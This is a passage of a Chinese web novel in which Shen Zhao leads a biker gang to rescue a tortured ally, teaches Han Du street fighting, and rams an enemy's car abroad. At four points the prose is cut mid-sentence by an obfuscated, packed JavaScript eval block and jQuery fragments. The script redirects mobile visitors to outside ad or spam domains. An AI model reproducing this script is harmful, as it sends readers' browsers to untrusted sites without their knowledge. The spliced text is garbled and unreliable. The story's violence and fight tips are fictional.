人群里乍然爆发出此起彼伏的尖叫,十几辆摩托车在草坪上纵横驰骋,几个呼吸间已经将原有秩序破坏殆尽,场面像泼洒的热油锅,人群四散奔逃。
沈照没有入场。他将越野车停在草坪外,剥起韩渡晚上带来的橙子。
橙子汁水丰沛,好些滴在了他手上,他却若无其事地继续剥着,然后将一半递给韩渡。
韩渡摇头,他一直关注着外面的情况,见这帮机车党如此横行霸道,开口道:“你是怎么认识这些人的?”
“当地的飞车党,要找上他们不难。”沈照收回橙子,“我们谈了一桩合作。”
“合作救出邢师恒?”
“这是第一步。”
“还有第二步?”
“我说过,我必须在禹州站稳脚跟。”
“靠他们?”
“我的选择不多。”
忽然有一幕闯入韩渡眼帘,他看到有无辜的人被摩托车蹭倒,跌在地上爬不起来,而那些飞车党还在肆无忌惮地横冲直撞,压根不在意有人受伤。这样滥伤无辜的场景让韩渡看得眼睛冒火,忍不住去拉车门,想要过去看看。
车门是锁上的,韩渡转头对沈照道:“你不觉得他们有些过火么?待会儿怎么收场?”
“很快就结束了。”沈照说,“我只是来抓一个人。”
“只是抓一个人,为什么要用这种方式?”韩渡皱眉。
沈照看向车外:“不这样做,怎么逼他出来?你自己看,这里有多少人?他要是想躲,我们怎么找?”
韩渡无言以对,具体情况他并不清楚,也不想在这里跟沈照吵起来:“你把车门打开,我要下去。”
沈照将一瓣橙子放入口中,腾出手来打开门锁。
韩渡刚跳下车,迎面就走来两个人,一左一右架着一个快谢完顶的中年男人。那男人一路走一路骂,满口的污言秽语。
“闭嘴!”左边那个年轻人一声厉喝,朝着他脸上就是一巴掌。男人脸上的赘肉顿时被拍得左右横晃。
“沈哥,这是你要的人。”那年轻人把人押到沈照面前,沈照坐在车上,一边吃橙子一边打量这男人。“人呢?”他问。
“小兔崽子,我艹你……”那男人见到了正主,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14032934|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还要再骂,被旁边的年轻人冲着下巴又是狠狠一拳,这一拳把他打得久久没缓过来,嘴角血流如注,这回总算是老实了。
沈照面色森冷:“我再问你一遍,人呢?不愿意说,你的胳膊就别要了。”
“什么人?”男人小心觑着他。
“你不认识我?”
男人眼转乱动:“没、没见过。”
沈照给那年轻人一个眼色,那年轻人收到眼神,露出一个残忍的笑,一手拿起男人的胳膊,抬起腿就要往下压——
“等等!我说!我说!你是不是要找一个姓邢的小子?我知道人在哪!”男人见这帮二十出头的年轻人要来真的,吓得腿脚发软,连忙说出了一个地址。
“打晕,把人带上。”沈照满意地点头,随即下达命令。
“是!”年轻人激动地眼睛变亮,跟另一个伙伴一起把男人拖了下去。
韩渡看了这么一出,走也不是,不走也不是。他看向沈照,沈照说:“上来吧,我们去下一个地方。”
韩渡望了一眼刚刚被撞倒的人,见他已经勉强坐了起来,便沉默着回到了车上。
沈照点火发动汽车,摁响喇叭,车灯闪烁不停,接收到信号的飞车党逐渐收兵汇合。他抽出一张纸巾,一根根擦拭完手指,见韩渡已经上车系好安全带,便开车率先启程。
从草坪广场到下一个地点,花了大概二十分钟。
那男人给出的地址是一处迪厅。
迪厅与广场不同,不能骑着车直接冲进去,那些飞车党明显非常失望,上一场“胜利”带来的气焰眼看就有些颓灭。
韩渡看向沈照,好奇他会怎么做。
沈照推门下车,从后备箱里取出一根合金材质的棒球棒,在手心里拍了拍,随后转身面朝众人:“首先要恭喜我们,兵贵神速,我们这次行动,已经完全抢占了先机!”
飞车党一阵欢呼。
“但是今晚还没有结束,还有第二场,也是更关键的一场。拿下它,这里以后就是我们的地盘!待会儿我打头阵,大家跟我冲进去!”
一番在韩渡听来颇有些中二的动员讲话,却像是搔到了众人痒处,得到了空前热烈的回应。所有人纷纷下车,掏出随身带来的武器,有高尔夫球杆,有不锈钢管、网球拍、菜刀等等,武器各式各样,看得韩渡目瞪口呆。
沈照转头对韩渡说:“渡哥,你留在这里,等我好消息。”
“你的伤还——”韩渡看他这样子是要亲自上阵,立刻拉住他胳膊。
沈照低下头,用只有他们两个能听到的声音说道:“渡哥,这次我得冲在前面。”
不用他细说,韩渡明白这句话的含义。他缓缓点头,松开沈照:“你千万注意安全。”
沈照轻轻一笑:“好。”
沈照带着近二十号人冲进了迪厅,只留下韩渡和一些人在外面把守。韩渡掐着表算着时间,时刻注视着通往地下迪厅的那条窄道,祈祷沈照能顺利平安地带着邢师恒出来。
42.似醉非醉
邢师恒是被人背出来的。
大块大块的黑红色血渍堆叠在他单薄的衣服上,裸露的皮肤遍布鞭痕和烫伤,画面极为触目惊心。更糟糕的是,他的两只胳膊无力地下垂,有明显脱臼迹象,一双腿也被人打折了,被人背出来时,他整个人已经处于昏迷不醒的状态。
韩渡感觉有股鲜血直涌上头顶,邢师恒这分明是遭受到了非人的虐待。他快步走过去,问道:“怎么伤得这么重?”
背着邢师恒的人正是此前两拳制服谢顶男人的年轻人,后来韩渡知道他的名字叫田旭。
田旭说,找到邢师恒的时候,他被人用铁链绑在地下室,像死了一样躺在血泊里,吓得他们大脑差点宕机。后来发现邢师恒还有呼吸,众人才手忙脚乱地帮他解开铁链,把人救出来。
韩渡听他说得绘声绘色,想象着那样的画面,心下油然一紧。他与邢师恒虽然只有几面之缘,却觉得这人性格爽朗,热忱直率,眼下见他如此惨状,难免有些不忍。
韩渡跟田旭合力把邢师恒放上了车,田旭钻进驾驶座,正要把车倒出来,韩渡忽然想起来:“沈照呢?”
“沈哥还在里面。”田旭答。
“还没结束?”韩渡一惊。
“快了,沈哥要留下来收尾,吩咐我先送人去医院。”田旭看了一眼韩渡,补充道,“你要一起上车吗?”
“已经赢了吗?”韩渡听他话里好像是这个意思。
“是啊。”田旭笑得露出八颗牙齿,“沈哥那身手,有他出马,就没有拿不下的场子。”
韩渡终于全然放下心来,他回看了一眼身后的迪厅,拉开后排的车门坐上去:“我跟你一起去医院。”
“好嘞。”田旭往后视镜瞥了一眼,笑道。
到了医院,田旭负责跑各种手续、跟医生护士沟通,韩渡则陪在邢师恒身边,时刻照看着。
半夜十二点左右,手术结束,护士们推着邢师恒出来。韩渡跟田旭立刻围上去,追着护士询问手术结果。
长着娃娃脸的护士看着年龄比他们还小些,却显然见过大场面,不疾不徐地告诉他们手术顺利,家属不用担心。
田旭喜上眉梢,对韩渡说:“我要回去一趟,把这个好消息告诉沈哥。”
电话里不能说吗?还要麻烦再跑一趟?韩渡这么想着,也说了出来。
田旭立刻贼兮兮地说道:“他们在迪厅那边举办庆功宴,我也想过去喝两杯。”
韩渡失笑:“你去吧,记得第一时间告诉沈照,让他安心。”
“得令!”田旭立正敬礼,脚下生风一样,转眼就撒腿溜了,看样子生怕被韩渡留下来照看病人。
韩渡笑着摇头,转身回到病房。
一踏进病房,发现邢师恒已经悠悠醒转。
他平躺在床上,左眼睁开了一条微不可察的细缝,右眼肿着,见韩渡进来,喉咙里发出卡痰般“呵呵”的声音。
韩渡急忙走过去,轻轻按住他胸前的被子:“我在呢,慢慢说。”
邢师恒又咳嗽两声,这回,他的喉咙好了些,也有了说话的力气:“韩渡……你怎么在这?”
“沈照带人把你救了出来,他还有正事要办,托我先照看你。”
“谢谢。”
“不用谢,你还好好的就是万幸。有什么需要你跟我说。”
邢师恒“嗯”了一声,眼眶微红。过了一会儿,他平复好情绪,问韩渡:“二公子没事吧?”他受了这么重的伤,却还惦记着沈照的安危。
“他没事,上回的伤已经恢复得差不多了。”事实上韩渡也拿不准现在的情况下,沈照今晚动手,会不会导致旧伤复发?“到底是谁把你伤成这个样子?”
邢师恒苦笑道:“道上的人都叫他‘郑爷’。”
道上?是他想的那个意思吗?韩渡心中生出隐忧。他想起今晚在广场上,那些飞车党肆意伤人的情景,想起那些高举的棍棒,还有沈照明晃晃的纵容和引导……现在回想起来,都像是做梦一样。虽说是为了救人,可是……只怕也不仅仅是为了救人。韩渡一直认为自己只是个局外人,不会介入他们的事,可接连两次陪他们进医院,这种想法已经开始动摇。
韩渡还想继续了解一些事情,只是邢师恒刚经历手术,他不方便拉着人一直打听,于是按捺住疑惑,没有追问下去。
不久,邢师恒又感到困倦,闭上眼睛睡了过去。韩渡打算留在这里陪护到下一个人过来,正要拉开折叠床,他的手机响了。来电显示是“沈照”。
电话接通后,对面说话的却是走了有一会儿的田旭:“韩渡?”
田旭用沈照的手机给他打电话?
韩渡回他:“是我。”
“啊,原来你就是韩渡。”田旭的声音顿时轻快起来。
“是有什么事吗?”韩渡问他。
“沈哥醉啦,你快来接他吧。”
“他喝酒了?”
“他喝太多了,你快来吧。”
韩渡望着被挂断的电话,想到沈照带病喝酒,还喝得不省人事,认命地披上衣服往病房外走。
等韩渡赶到迪厅,已经是下半夜。
场子里有限的灯光全打开了,依然算不上明亮。空气中弥漫着浓稠的烟酒气味,桌椅板凳东倒西歪,地上一片狼藉,满是被砸碎的玻璃和血迹。
外人已经被清空,只有飞车党一群人三三两两聚在一起,划拳喝酒吹牛发牢骚,种种忘我情态,沉浸在胜利的喜悦里。
韩渡找到田旭,问他沈照在哪里。田旭手指一划,沈照正醉卧在一张沙发里,身上披了条毯子。
韩渡见他神态酣然,双颊浮红,悄声问田旭:“他没受伤吧?”
“好像没有。”田旭摸摸脑袋,给了一个不确切的回答。
韩渡走到沙发边,见沈照面前放着好几只空酒瓶,一看就没少喝,难怪人醉成这样。
田旭跟过来,帮着韩渡把沈照扶起来,靠在韩渡肩膀上。韩渡一手扶着沈照的腰,一手拉着他胳膊,艰难地往场外走。田旭走在一旁,时不时搭把手。
“……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14050189|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
韩渡?”行动间,沈照恢复了点意识,将额头凑到韩渡眼前,醉眼朦胧地念出韩渡的名字。
“嗯?”韩渡回道,以为是要跟自己说话,可是他会错了意,沈照又重复念了两遍他的名字,接着再没声音。
田旭在一旁偷笑:“沈哥这是真醉了。”
到了越野车旁,田旭把车门打开,韩渡半蹲下来,将沈照放进后座,回头对田旭道谢:“就送到这里吧,你回去继续喝酒,我把他送回酒店。”
田旭知道他们关系不错,把人交给韩渡很是放心,于是简单交代了两句就转身离开了。
韩渡把车门关上,发动汽车,乘着夜色一路回到酒店。
熟练地把车开到地下车库,韩渡停好车,来到后座。
这一路沈照都很安静,韩渡以为他已经睡过去了,可是等到他弯腰要去抬人,沈照一声低吟,看样子只是醉得狠了,意识还在。
韩渡俯身用手托住他后背,正要把他扶起来,沈照忽然不知说了什么醉话,双眼微开,垂放在座椅上的胳膊伸到韩渡后腰,力气不大不小地一压——
韩渡不防他突然来这一手,重心一歪,连带着沈照一同栽倒下去。
韩渡心道要糟,正要避开要害防止磕伤对方,紧要关头,沈照及时出手扶住了他,没让他真倒下来。
韩渡稳住身体,撑着座椅要站起来,沈照却没有松手,而是意识含糊地将一只手伸到了他耳边。
沈照的手很热,像一团火在韩渡脸颊边烘烤,比手更热的却是这人的呼吸。沉重的呼吸越靠越近,平日里满怀心思的一双眼睛此时醉得还没完全睁开,韩渡却能察觉到他在看自己,以一种极为专注,却又不甚分明的目光。
韩渡很快反应过来,伸手去推他。
沈照被推倒在座椅上,闷哼了一声,眉头紧锁,像是被韩渡按到了伤处。
韩渡见他表情痛苦,也管不了他醉酒后的古怪行径了,掀起他的衣角,借着月光察看伤口。
疼痛似乎让沈照清醒了一点,他揉着额头,低呼道:“渡哥?”
韩渡确认了伤口没有裂开,抬头看见沈照这副大醉方醒的样子,问他:“你还能自己走吗?”
沈照环顾四周:“到酒店了?”
“嗯,我扶你下来。”
沈照乖顺地下车,半靠在韩渡身上,脚步仍然有些踉跄,走几步就要左右腿打架。
韩渡小心搀扶着他往电梯里走,沈照面色熏红,忽而开口道:“渡哥,我刚刚好像梦到你了。”
“梦到我什么?”
“梦到你抛下我走了。”沈照大着舌头,话说得黏糊,只是眼睛一直看着韩渡,“我还以为你会一直在外面等我,可是田旭告诉我,你去医院陪邢师恒了。”
韩渡解释道:“田旭说你那边很顺利,我又看他伤得这么重……”
“我知道,所以我只多喝了一点。”沈照说,“邢师恒也是为我受的伤,明天我会去医院看他。对,我也要去医院看看。”他是真的醉了,说话已经有些没有章法。
43.沈照的武术课
韩渡在医院附近的便利店买了几盒牛奶。邢师恒心心念念要喝可乐,被他以养伤为由驳回了,换成了更适合病人的牛奶。
排队结账的时候,韩渡忍不住想到,好像自从他认识邢师恒和沈照这两个人,就一直在医院里进进出出,医院附近的路他闭着眼睛都会走了。他们到底在做什么事,为什么会跟“道上”的人有牵扯?难道他们也是……
韩渡用手机搜索了一下“燕城沈家”“沈照”“禹州郑爷”等等,可是搜索结果都不是他想要的。
结完账,回医院的路上,韩渡忽然心中一动,重新拿出手机,输入了“沈羁”两个字。
这回总算有了结果,出来了一个官方的人物介绍,最开头写着:
【沈羁,36岁,北疆集团首席执行官。】
韩渡顺藤摸瓜搜索了“北疆集团”,注册成立在三十年前,是一家规模很大的建筑公司。他又看了股东和关联企业,最后去公司官网看了看。这么一圈浏览下来,对沈照这位哥哥也算有了些了解,但对沈照,乃至其背后的沈家,依然如盲人摸象。
韩渡回到医院病房时,昨晚还醉得路都走不稳的沈照,已经穿戴整洁地站在了病床边,正跟邢师恒说话。
看见韩渡走进来,沈照朝他点头打了个招呼,表情一如往常。韩渡也向他点头微笑,把买来的牛奶放进柜子里,拿出其中一盒递给邢师恒。
邢师恒笑着连道感激,又提到了上回托韩渡带走沈照的事。
“当时我们被人追杀,慌乱之下跑到了那附近,我想起来杨冰的同学聚会就在那天,于是就想到请你帮忙。”邢师恒解释道,那晚的相遇并非偶然,而他认为韩渡是值得信任的人,所以把重伤的沈照托付给了韩渡。“只是这样一来,很可能会给你添麻烦。”邢师恒小心翼翼地观察韩渡的神情,又再三向韩渡道谢。
事情都已经发生了,邢师恒还把话说得这么明白,韩渡哪里还会计较,况且人命关天,什么麻烦不麻烦的,都是小事了。韩渡笑着说:“谢什么,举手之劳,我们是朋友不是吗?”接着,韩渡主动岔开话题,提到了他过两天就要出国的事,问还会有谁来照顾邢师恒。
“你要出国旅游?”消息来得突然,邢师恒有些诧异。
“找人。”韩渡告诉他。
“朋友?”
“一个仇家。”
这下不止是邢师恒,沈照也看了过来。
“什么仇?也许我能帮得上忙。”邢师恒说道。
韩渡拣了些方便说的,简单说了一下韩卉的事。“我已经打听到他现在的住址,这次去打算把以往的账一笔算清。”
“如果照你说的,之前已经找过他一次,何家把人送去国外,不会没有防备。”邢师恒分析道,将目光投给沈照,“二公子,你认识何安这个人吗?”
沈照在旁边听了许久,这时开口道:“何昌宏老年得子,很惯这个小儿子,听说常在外面欺男霸女,何家替他收拾了不少烂摊子。”
“何家怎么样?咱惹得起吗?”邢师恒更关心这个问题。
沈照看向韩渡:“何安吃了这么一记闷亏,选择出国避风头而不是上门报复,是有人保了你吧?”
沈照能敏锐地察觉到这一点,韩渡并不意外。他点了点头,不愿多说。
“何家是做珠宝生意的,家底很厚,请得起保镖。如果你只是一个人过去,我建议你还是再等等,等到他们懈怠。”沈照留意着韩渡的神色,转而劝道。
“拖得够久了,我等不起了。”韩渡道。
“至少等我出院,我跟你一起去。”邢师恒毛遂自荐。
韩渡笑着在他肩上轻轻一捶:“你安心养伤,别掺和进来。”
“那不行,这么大的事。”邢师恒笑完,郑重地对韩渡说,“你帮了我们这么多,这次轮到你有需要了,我们不可能坐视不管。”
在援救邢师恒这件事上,韩渡并没有出多少力,听他这么说,既感动又惭愧。
但韩渡不可能让邢师恒跟他一起去,如果发生了什么不测,或者受他牵连被何家报复,那他该怎么跟邢师恒的家人朋友交代?
韩渡始终不肯松口,邢师恒急得差点从床上下来。
“渡哥说的对,你还有伤在身,就别到处跑了,我跟他去。”就在两人僵持不下时,沈照站了出来。
渡哥?他们什么时候感情这么好了?邢师恒疑惑地拧起眉毛,但是他的注意力很快被最后一句吸引过去:“二公子,你要跟韩渡一起去?”
沈照点头。
“那太好了,有二公子跟着就万无一失了。”邢师恒激动地挺起腰杆。
韩渡先是一惊,随后不同意地对沈照说:“你也是个病号,跟着凑什么热闹?”
“我不放心。邢师恒说的对,你一个人去寻仇太危险了。”沈照眼睛一眨,“不过在此之前,我得先教你两招。”
沈照要亲自教导韩渡拳脚,这个提议来得突然,但也恰逢其时。韩渡本想谢绝婉拒,可他目睹过沈照跟人过招,自己之前又多次在动手的时候吃过亏,一句“不用”卡在嘴边,竟说不出来。
邢师恒在旁边拍手:“可喜可贺,二公子的身手是我见过最好的,韩渡你可要好好学,机不可失。”
韩渡怦然心动,改口道:“那就多谢了。”
医院楼下有一处后花园,平日里僻静,在这样严寒的天气里,更是人迹罕至。此后两天,沈照就在这里指导韩渡。
“下盘要稳。”沈照扣住韩渡的一条胳膊,轻轻一拉,韩渡就脚步紊乱、歪扑过来。沈照身未动,只用一只手就接住了他,向他展示了何为稳扎稳打。
“只会用蛮力,但没有经过训练,所以力气也不够大。”沈照速度极快地接住韩渡挥来的拳头,更像是能事先洞察韩渡的行动轨迹,在韩渡出腿时一分不差地将他绊倒。
“出拳也有讲究,不要用拳面,用骨节。”沈照再次接住韩渡的拳头,然后变换角度演示给他看。
“这个道理同样适用在其他地方,你用肘击、用膝盖去顶,造成的伤害往往事半功倍。”
“人跟动物最
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14080891|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大的区别就是会用工具,能在视线范围内找到趁手的武器,就不要赤手空拳。”在韩渡尝试用手肘去攻击沈照时,沈照轻笑着折下手边一条枯枝,一抬手就顶在了韩渡额前,“如果对面是你的敌人,这时候树枝就该直指他的眼球,那里是要害。”
“还有鼻子、耳朵、咽喉、下/体,不要觉得攻击某些地方不入流,也不要心慈手软,生死关头没那么多讲究。”
“你力气小,在招式上要学会借力打力、以柔克刚。”
他让韩渡伸直胳膊,左手托在韩渡肘关节,右手拿着韩渡的小臂,轻轻往下按压,“要学会利用人体的规律来制造伤害,我如果这样一使力,很轻易就能掰断你的胳膊。”韩渡听得入神,仔细一琢磨,确实是这么个道理。
关于借力打力,沈照让韩渡对着自己出拳,在拳头袭来时,他没有像一般人那样条件反射地去格挡,而是握住韩渡的拳头,把人往自己这边一拽——韩渡顿时重心倾斜,踉跄着要扑倒在地上,幸好他及时侧身把人接在了怀里。
沈照的肌肉非常紧实,与他的外表极为不符,韩渡感觉自己像撞上了一堵墙。他一抬头,恰好看进沈照漆黑的眼睛里。
“下盘还是不够稳。”沈照缓缓松开他,点评道。
韩渡一笑:“我们再试一次。”
沈照挑眉:“好,你先出手。”
还是同样的招式,同样的出拳路径,这回在被沈照接住拳头后,韩渡并没有抗拒,而是顺着他的力气往前倒,只是另一只胳膊同时出肘。一条腿往沈照的脚踝绊去。这么一来,他借着沈照退避的动作轻松稳住重心,将这招化解于无形。
沈照眼中染笑:“不错,学得很快。”
在一旁观看了半天的邢师恒忍不住鼓掌,啧啧称赞:“一个教得好,一个学得快,我这个旁听的也学到了不少。”
韩渡拍了拍自己的胳膊,调侃道:“你是学到了不少,我这里腰酸背痛的,挨了不少打。”
“二公子已经手下留情了。”邢师恒乐得笑容停不下。
韩渡也舒展开五官,躬身向沈照作揖:“以后你就是我的师傅了。”
沈照笑着扶起韩渡:“渡哥,你不用跟我客气。”
“你叫我哥,我喊你师傅,你俩也是段佳话。”邢师恒忍不住插嘴调笑。沈照一个眼刀飞过去,他立刻闭嘴开始望天。
当晚,沈照开车把韩渡送回家,在韩渡下车前说道:“今天辛苦了,晚上睡前泡个澡吧,不然明早起来会很难受。”
韩渡回头冲他笑道:“好,你也辛苦了,明天机场见。”
“明天见。”沈照点头,目送韩渡下车。
回到家后,韩渡确实感觉浑身筋骨难受,但也还在可以忍受的范围内。他正要进屋,韩母喊住他,递给他一个快递邮件,上面指名道姓“韩渡收”。
这是什么?
韩渡拿着邮件进屋,撕开封条后,里面只有一张薄薄的纸,“任职聘书”四个大字当先进入他视线。
他看了眼就任时间,就在下周。
44.了结旧账
从禹州到雅克图,近一天的飞机行程。
雅克图刚下过一场大雪,从飞机舷窗往下俯瞰,只有白茫茫一片。
这是一座比燕城纬度更高的城市,韩渡刚下飞机,几阵寒风差点没把他掀走。他赶紧拿出包里准备好的围巾,给沈照和自己一人一条。
他们在城区办理好入住后,去租车市场租了一辆车,没有再耽误时间,直接驱车来到了何安所在的社区。社区道路整洁,草坪上覆盖着厚厚一层白雪,一栋栋别墅鳞次栉比,何安所住的房子混在其间,乍一看并不显眼。
他们将车停在一处隐蔽的地方,开始盯梢。
此时正是雅克图下午三点,天空像灰白的鱼肚,厚重的云层在低空漂浮,仿佛随时会再降下一场大雪。韩渡和沈照的运气还不错,只守了两个多小时,就看见何安从房子里走了出来。
他背着一只运动包,穿着羽绒夹克,打开车库钻了进去,不久,一辆小跑从车库里缓缓驶出。
不用韩渡多说,沈照在何安进了车库时,就已经把车发动起来,此时轻踩油门,跟了上去。
何安去的是一家开在加油站附近的酒吧。兴许是得益于附近的来往车辆,这家酒吧人满为患,生意非常好,显然,也是十分合适的猎艳场所。
韩渡和沈照一前一后走进去,视线由明转暗,很快在人群中找到了何安。
“有保镖。”沈照拉着韩渡走远了些,用眼神示意韩渡那些保镖所在位置。韩渡用余光看过去,确实有几个穿着常服的魁梧男人漫无目的地穿行在人群中,或是独坐着喝酒,隐约分布在何安四周。
他跟沈照分明是一路尾随何安来的酒吧,路上没有看见这些保镖,难道这些人是事先就过来的?
好在韩渡本就不打算今天动手,他与沈照找了个位置坐下,就像正常来这里喝酒的客人,一边闲聊一边喝点,除了偶尔关注一下何安的动静,没有做其他多余的事。
在这期间,何安已经先后搭讪了好几位女性。
他似乎偏爱对同种肤色的姑娘下手,这样的人选不多,但是也足够他消磨一整晚了。每当他聊得兴起时,就会从他随身带来的那只包里取出一台相机,一边说着一边向姑娘们展示,若是对方被他逗得开心了,他就会露出一抹餍足的笑。
在那之后,他往往会带着姑娘一起走出酒吧,把人载到最近的旅馆,直到深夜,他才一个人出来,开车回家。第二天下午天黑之前,他又会从家出发,背着他那只装着相机的包来到同一家酒吧。如此周而复始,持续了四天。
摸清他的行踪后,韩渡茅塞顿开,难怪那些保镖像蹲点一样早早等候在酒吧里。也许在他们看来,整天下来,只有这家酒吧是他们需要格外注意的地方。
所以突破口就在何安的家里和往返路途中。
来到雅克图的第五天,一早,韩渡正在叠旅馆里的被子,看见窗外大雪如白絮,在窗台上积了一指深的厚度。
何安每天昼伏夜出,上午并不需要他们去盯着。韩渡跟沈照约了今天上午在城里逛一逛。
他们出门的时候,屋外的雪依然很大,街上行人不多,零星几个也并不打伞,顶着兜头的白雪,时而用衣袖刮一刮。
韩渡怕沈照伤刚好就冻着,找了家衣帽店,给他买了只灰色的帽子。沈照将额前的碎发都抹进了帽子里,露出细长的眉毛和肃若寒星的眼睛。韩渡不由在他脸上多看了几眼,平日里他总觉得沈照是个年纪小的后辈,这几天来雅克图却经常受到他的照顾,此时再看过去,不免从他清美却初显锋芒的五官看出些不一样的神韵来。
“这几天多亏了有你,不然我没有本地驾照,还真有些难办。”韩渡这么想着,也就把感谢的话说了出来。
“不用谢我,我也有好些年没来雅克图了,没想到还能故地重游。”沈照扯了扯帽子,似乎很喜欢地用指腹感受着上面的纹路。
韩渡看了,笑着帮他把帽子扶正:“听说你以前都在国外生活,就是在丹枫吗?”丹枫就是雅克图所在的国家。
沈照唇角微弯:“我母亲喜欢雪,雅克图这边每年冬天都会下很大的雪,所以我陪她来这里待过两年。”
“燕城冬天的雪也很大。”怎么不留在燕城?
话一出口,韩渡就意识到了问题,如果沈照的母亲真是他父亲养在外面的情人,也许不是她不想回燕城,是不能回。
沈照语气仍然很淡:“她不喜欢燕城,自打我出生起,就没回去过。”
沿着雅克图的城市河道走,河道两旁砌盖着各具艺术风格的咖啡厅和小酒吧。此时还是上午,酒吧里冷冷清清,许多还未开门迎客,一些咖啡厅陆陆续续挂上了“营业中”的木牌,店主在咖啡机前悠闲地做着准备。
韩渡和沈照走进其中一家咖啡厅,坐在橱窗边观赏河道风景。河道的水流淌得很慢,有种被风牵着走的懒散样,但也得益于这点流速,封城的大雪并没有冻结这里的河水,远处能看见有红色船舶安静地停在港口。
室内暖风将他们被冻得有些僵硬的身体重新烘软,经历了这些天的紧密追踪,这样闲暇的时光显得格外难得和惬意。
沈照问起韩渡今后的打算,有没有计划回禹州发展。
韩渡知道他还记着之前自己说的“不再是魏从峥司机”的话,于是回他说:“我打算去蒲贡试一试。”
沈照神情有些意外:“去那里?为什么?”
此时此刻,韩渡仍然愿意去蒲贡发展,既是为了遵守承诺,他也确实抱着在异国开拓出一片天地的想法。甚至近期,他已经开始有计划地自学蒲贡语。
韩渡回答沈照:“上回我去蒲贡,路过许多镇子和村庄,我发现每当我走到一个地方,总有很多当地人盯着我们看。后来我问了他们为什么,有个人告诉我,因为他们很少见到外面的面孔,还看到我们拿着手机。”韩渡指了指自己放在桌面上的智能手机。
沈照有些明白韩渡的意思了,又听韩渡继续道:“那里有成片的山林没有经过开发,基础设施建设落后雅克图至少五十年,支柱产业还是农业种植业,轻工业刚刚起步。近两年,蒲贡的政局初步稳定下来,当政者非常有想法,很欢迎国际投资,也已经有跨国资本把目光放在了那里,我也想去看看,跟着学习学习。”
说完这些,韩渡朝沈照笑笑:“让你见笑了,这只是我的一些不成熟的想法,真实情况是什么,也许还要我花更多的时间去了解。”
这时,店主将他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14100066|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们点的咖啡送了过来,还拿来一沓彩色便利贴,告诉他们有什么心愿可以写下来,贴在店里的涂鸦墙上。
沈照将韩渡的那杯放在他面前,微微一笑:“渡哥,我没去过蒲贡,对那里的了解只会比你更少,但是……这些年我辗转在各个国家,发现很多人,包括精英阶层,最后都想往更发达的地方走,只有冒险家和创业家才会低头去看世界。既然你已经有了准备,我相信你的选择。”
韩渡并没有做好充分的准备,现在的打算也只是摸着石头过河,但是沈照这些话驱散了他心里最后一丝疑虑。
沈照尝了一口咖啡,从桌上的笔筒里抽出一支彩色水笔,打开笔帽,在一张淡绿色的便利贴上写了些字。
“你写了什么?”韩渡等他写完,笑着问道。
沈照却没有直接展示给韩渡,而是笑道:“这种不该交换着看吗?”
韩渡拿起笔,思忖片刻,写下了“希望家人朋友平安健康。”
两人把写好的心愿贴在已经满是便利贴的涂鸦墙上,韩渡这才看到沈照刚刚写的内容是:祝渡哥在蒲贡一切顺利。
心中有一股暖流在涌动,韩渡看向他:“谢谢。”
沈照却盯着韩渡写的那条心愿,指着“朋友”两个字:“渡哥,我算在里面吗?”
“算。”韩渡笑道。
沈照微微侧头,目光落在韩渡脸上。
深夜两点,何安拎着包从旅馆里出来,一股冷空气袭来,他鼻子一痒,打了个喷嚏,随即揉了揉鼻头,低头坐进了车里。
韩渡和沈照不远不近地在跟在他车后,离开旅馆大约有五公里左右,他们拐上了一条没有其他车辆的小路。
今晚的月色很亮,寒白的月光穿透冰冷的空气,将这条小路照得仿若白昼。
韩渡知道接下来要发生什么,于是再次检查了一下两人的安全带,确定没有问题后,对沈照说:“动手吧。”
话音刚落,一道如有实质的发动机嗡鸣声在车内响起,沈照猛提车速,几个呼吸间便追上了何安的车,随后却没有减速,而是控制着角度,毫不犹豫地撞上了何安的车尾灯。
玻璃罩破碎的声音十分清脆,听在韩渡耳朵里,就像被放大了好几倍。这一撞,韩渡在巨大的冲击力下身体向前扑倒,随后又被发挥作用的安全带瞬间勒了回去。
前后两辆车不约而同地开始减速,然后隔着三米的距离停了下来。
前车的门被打开,何安果然气势汹汹地甩上车门走了过来。
